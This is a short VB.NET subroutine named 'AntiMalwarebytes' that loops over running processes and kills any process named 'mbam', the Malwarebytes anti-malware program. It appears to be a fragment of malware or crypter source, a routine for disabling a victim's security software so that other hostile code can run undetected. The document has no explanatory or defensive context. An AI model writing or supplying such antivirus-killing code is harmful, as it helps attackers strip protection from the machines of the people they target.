Sub AntiMalwarebytes()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "mbam"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub